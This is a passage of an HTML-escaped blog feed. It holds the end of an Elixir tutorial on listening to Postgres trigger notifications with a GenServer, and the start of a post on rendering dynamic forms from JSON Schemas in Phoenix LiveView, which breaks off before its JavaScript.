&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Received a notification for appointment &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We created a &lt;code&gt;GenServer&lt;/code&gt; for our listener with its own message queue to handle incoming Postgres messages. Be aware that this listener can easily become a bottleneck if you have lots of messages. If you can&apos;t handle the messages quickly enough, the message queue will fill up and crash your application. If you&apos;re worried about this case, you could create one listener per channel or use a &lt;a href=&quot;https://hexdocs.pm/elixir/1.14/PartitionSupervisor.html&quot;&gt;PartitionSupervisor&lt;/a&gt; to start more handlers and spread out the work.&lt;/p&gt;
&lt;p&gt;Our listener is pretty straightforward. First, we spawn another process that connects to Postgres using our Repo config. Then, we start listening to that process which means that we&apos;ll receive any Postgres messages it might catch. Whenever a notification comes in, our &lt;code&gt;handle_info/2&lt;/code&gt; callback will handle it. In this case, we simply decode its JSON payload and log it to the console.&lt;/p&gt;
&lt;p&gt;The last step is to start our listener whenever our application starts. Open your &lt;code&gt;lib/application.ex&lt;/code&gt; and add the listener to the supervisor&apos;s children, like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/application.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;children&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Other modules&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Make sure to start the listener AFTER your Repo.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Otherwise, your listener won&amp;#39;t connect.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DatabaseListener&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;strategy: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:one_for_one&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Supervisor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Supervisor&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;children&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! Now, whenever we start our application, we establish a link to Postgres and listen to messages on the given channel. If such a message comes in, our &lt;code&gt;handle_info/2&lt;/code&gt; will log it. Let&apos;s try it out!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-test&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-test&quot;&gt;&lt;/a&gt;The Test&lt;/h2&gt;
&lt;p&gt;Now with everything in place, we can test-run the setup. Let&apos;s create and update an appointment:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Appointments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;canceled: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Received a notification for appointment 1&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;old&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;canceled&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2023-02-11T17:36:56&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2023-02-11T17:37:03&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;new&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;canceled&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2023-02-11T17:36:56&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2023-02-11T17:44:48&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After updating the &lt;code&gt;canceled&lt;/code&gt;-flag of our appointment, we received a message from Postgres! It works! Yey!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/listen-to-database-changes-with-postgres-triggers-and-elixir"/>
    <id>https://peterullrich.com/listen-to-database-changes-with-postgres-triggers-and-elixir</id>
    <title>Listen to Database Changes with Postgres Triggers and Elixir</title>
    <updated>2023-02-12T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, before we begin:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Where do dads store their jokes?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;In the dad-a-base
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright 😄 Let&apos;s get started with today&apos;s topic: &lt;code&gt;How to build dynamic forms with JSON schemas&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#why-json-schemas&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;why-json-schemas&quot;&gt;&lt;/a&gt;Why JSON Schemas&lt;/h2&gt;
&lt;p&gt;As I wrote in &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;my book&lt;/a&gt;, probably 50% of a software engineer&apos;s time is spent building tables. The other 50% is spent on building forms. This article covers how to build forms faster.&lt;/p&gt;
&lt;p&gt;Imagine that you have to build a signup form. Usually, you only need a username and password field. But what if that signup form needs to be different for every country in which your company operates? You might need to capture country-specific personal details, like a social security number or national insurance number.&lt;/p&gt;
&lt;p&gt;In this case, you probably don&apos;t want to create and maintain every form by hand. Instead, wouldn&apos;t it be nice to have a simple file where you could specify the fields needed per country? A file that your frontend simply takes and renders?&lt;/p&gt;
&lt;p&gt;That&apos;s exactly where &lt;a href=&quot;https://json-schema.org/&quot;&gt;JSON Schemas&lt;/a&gt; come in. You can define your fields as JSON, render them as an HTML form, and automatically validate user responses. Let&apos;s see how to use them with Phoenix LiveView.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#add-a-json-renderer&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;add-a-json-renderer&quot;&gt;&lt;/a&gt;Add a JSON Renderer&lt;/h2&gt;
&lt;p&gt;Before we define our JSON Schema, let&apos;s add a library that renders our form as HTML. &lt;a href=&quot;https://github.com/json-schema-form&quot;&gt;There&lt;/a&gt; &lt;a href=&quot;https://github.com/ui-schema/ui-schema&quot;&gt;are&lt;/a&gt; &lt;a href=&quot;https://json-schema.org/implementations.html#web-ui-generation&quot;&gt;plenty&lt;/a&gt; &lt;a href=&quot;https://github.com/jaredpalmer/formik&quot;&gt;out&lt;/a&gt; &lt;a href=&quot;https://github.com/formio&quot;&gt;there&lt;/a&gt;. I&apos;ll use the &lt;a href=&quot;https://github.com/json-editor/json-editor&quot;&gt;JSONEditor&lt;/a&gt;, not because it&apos;s the best (it isn&apos;t), but because it&apos;s written in vanilla JS and doesn&apos;t require a frontend framework like React.&lt;/p&gt;
&lt;p&gt;Simply copy the &lt;a href=&quot;https://cdn.jsdelivr.net/npm/@json-editor/json-editor@latest/dist/jsoneditor.js&quot;&gt;production&lt;/a&gt; version and paste it into a file at &lt;code&gt;assets/vendor/jsoneditor.js&lt;/code&gt;. That&apos;s it!&lt;/p&gt;
&lt;p&gt;Now, let&apos;s add some HTML and JS code to render our form. Create a &lt;code&gt;.heex&lt;/code&gt; template that renders only the form:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;json-schema-form&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-hook&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;JSONSchemaForm&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;json-schema-form-submit&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;submit&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    Save
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The HTML template defines a placeholder div &lt;code&gt;#json-schema-form&lt;/code&gt; which we&apos;ll use to render the form. It also defines a button to submit the form. We&apos;ll capture the form submission in JavaScript before sending it off to LiveView, so we don&apos;t use a Phoenix Form here. If you&apos;re worried about CSRF attacks on this form, don&apos;t fear because we&apos;ll submit the form through our LiveView Websocket which protects against such attacks automatically. Even LiveView &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view/blob/master/CHANGELOG.md#bug-fixes-8&quot;&gt;doesn&apos;t render&lt;/a&gt; CSRF tokens for LiveView-only forms anymore, but only for forms that submit over HTTP.&lt;/p&gt;
&lt;p&gt;Now that we&apos;ve defined our HTML template, let&apos;s add some JavaScript to create our form. Add the following to e.g. &lt;code&gt;assets/js/hooks/json_schema_form.js&lt;/code&gt;:&lt;/p&gt;
